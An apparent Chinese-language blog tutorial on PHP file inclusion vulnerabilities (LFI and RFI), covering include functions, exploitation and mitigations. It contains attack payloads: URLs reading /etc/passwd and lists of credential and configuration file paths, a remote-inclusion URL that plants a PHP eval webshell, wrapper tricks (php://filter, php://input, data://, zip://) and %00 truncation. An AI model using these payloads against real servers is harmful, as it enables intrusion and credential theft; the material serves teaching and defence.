web安全入门 5(文件包含漏洞)

文件包含漏洞
开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

1. 包含漏洞原理解析

  大多数Web语言都支持文件包含操作,其中PHP语言所提供的文件包含功能太强大、太灵活,也就导致文件包含漏洞经常出现在PHP语言中。这里就以PHP语言为例。
  PHP中提供了四个文件包含的函数:
   (1) include( )
    当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
    进来,发生错误时之给出一个警告,继续向下执行。
   (2)include_once( )
    功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次
   (3)require( )
    require()与 include()的区别在于 require()执行如果发生错误,函数会输出
    错误信息,并终止脚本的运行。
   (4)require_once( )
    功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次。
(5)fopen()

(6)readfile()
2 . 本地包含与远程包含
(1)本地包含
本地文件包含LFI也即Local File Inclusion,其特性是可包含任意类型的文件并且如果被包含文件中有类似 “<?php ……(省略号为php代码) ?>”或“<? ……(省略号 为php代码) ?>”,会执行字符串中的PHP代码。
(2)远程包含
远程文件包含RFI也即Remote File Inclusion,其基本原理 与本地文件包含LFI类似,区别只是被包含的文件由原来的本地文件路径变为远程文件路径。
限制条件: PHP的allow_url_include需要为On(如果没有 allow_url_include这一项则只需将allow_url_fopen设置为On即 可);(在php.ini中配置)
3 . 文件包含利用
(1)读取敏感文件
      访问URL: http://www.test.com/index.php?page=/etc/passwd
?    如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于;open_basedir restriction in effect的警告。
     常见的敏感信息路径 
Windows系统
       c:\boot.ini // 查看系统版本
       c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
       c:\windows\repair\sam // 存储Windows系统初次安装的密码
       c:\ProgramFiles\mysql\my.ini // MySQL配置
       c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
       c:\windows\php.ini // php 配置信息
Linux/Unix系统
       /etc/passwd // 账户信息
       /etc/shadow // 账户密码文件
       /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
       /us/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
       /usr/local/app/php5/lib/php.ini // PHP相关配置
       /etc/httpd/conf/httpd.conf // Apache配置文件
       /etc/my.conf // mysql 配置文件
   (2)远程包含Shell
      如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包 含一句话木马,如:http://www.test.com/echo.txt,代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[yale]);?>");?>
?        访问:http://www.example.com/index.php?page=http://www.test.com/echo.txt 。将会在index.php所在的目录下生成shell.php, 内容为:
?            <?php eval($_POST[xxser]);?>
   (3)本地包含配合文件上传
      假设已经上传一句话图片木马到服务器,路径为: /uploadfile/xxx.jpg
            图片代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval($_POSTyale]);?>");?>
           访问URL: http://www.example.com/index.php?page=./uploadfile /xxx.jpg ,包含这张图片,将会在index.php所在的目录下生 成shell.php。
    (4) 使用PHP封装协议  
 名称     含义
            php://     访问各个输入/输出流(I/O streams)
zlib://     压缩流
data://     数据(RFC 2397)
ssh2://     Secure Shell 2
expect://     处理交互式的流
glob://     查找匹配的文件路径模式
phar     PHP归档
 php://filter  有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开data目录下的config.php:


这时候我们可以以base64编码的方式读取指定文件的源码输入:php://filter/convert.base64-encode/resource=文件路径得到config.php加密后的源码:



再进行base64解码,获取到数据库账号等敏感信息:
       

data://
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:

zip:// 执行压缩文件
如果网站允许我们上传压缩文件,我们也可以将php文件压缩后进行上传,再通过zip://协议执行。以DVWA平台为例,我们将phpinfo.php文件进行压缩后上传:

通过zip://协议执行zip压缩包中的phpinfo.php文件:(%23防止和url规则冲突)

php://input
利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:

发送报文,可以看到本地生成了一句话木马:


伪协议利用条件及用法

       
4 . 截断(%00)
vuln.php?page=/etc/passwd%00
vuln.php?page=/etc/passwd…
vuln.php?page=/etc/passwd/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…
文件包含可以包含任意文件,即便被包含的文件并不是与当前编程语言相关,甚至为图片,只要文件被包含,其内容会被包含文件包含,并以当前服务器脚本语言执行。因此可以建立随意后缀文件进行包含。当开发者限制了包含文件的后缀是可以使用%00截断。前提条件如下:
(1). PHP版本 < 5.3 (不包括5.3) ;
(2). PHPmagic_quotes_gpc = off;
(3).PHP对所接收的参数,如以上代码的$_GET['file']未使用addslashes函数。
例如:开发者限制后缀名为.php 则,

当前提条件满足时,使用截断则可打开包含文件。

顺便提一下,为什么 %00 能截断,PHP 内核是 C 实现的,使用了 C 中的字符处理函数,在连接字符串时,0 字节也就是 x00 会作为结束符,所以只要加入一个 0 字节,就可以截断字符串,0 经过 URL 编码后为 %00。
当 %00 不能截断时,在 win 系统中,可以利用 php 的 zip:// 协议,例如:写一个 hello.php,内容为 <?php phpinfo();?>,然后压缩成文件 test.zip 并上传,随后在系统中输入 localhost/test.php?file=zip://test.zip%23hello 即可,因为程序有后缀措施,这样参数 file 实际就变成了 zip://test.zip#23hello.php,意思为读取 test.zip 中的 hello.php 文件内容。
还有一种截断方法就是?号截断,在路径后面输入?号,服务器会认为?号后面的内容为GET方法传递的参数,成功读取test.php如下:

如果test.php是恶意webshell文件,那么利用该漏洞就可以获取到服务器权限。
5 . 文件包含漏洞解决办法
 (1)严格检查变量是否已经初始化。
 (2)建议假定所有输入都是可疑的,尝试对所有输入可能包含的文件 地址,包括服务器本地文件以及远程文件,进行严格的检查,参数中不允许出现…/之类的目录跳转符。
 (3)严格检查include内的文件包含函数中的参数是否外界可控。
 (4)不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务器端进行。
 (5)在发布应用程序之前测试所有已知的威胁。
 (6)关闭php.ini的 allow_url_fopen、allow_url_include。
 (7)使用str_replace等方法过滤掉危险字符
配置open_basedir,防止目录遍历
php版本升级,防止%00截断
对上传的文件进行重命名,防止被读取
对于动态包含的文件可以设置一个白名单,不读取非白名单的文件
做好管理员权限划分,做好文件的权限管理

posted on 2020-12-25 16:56  沉吟至今  阅读(131)  评论(0编辑  收藏  举报

导航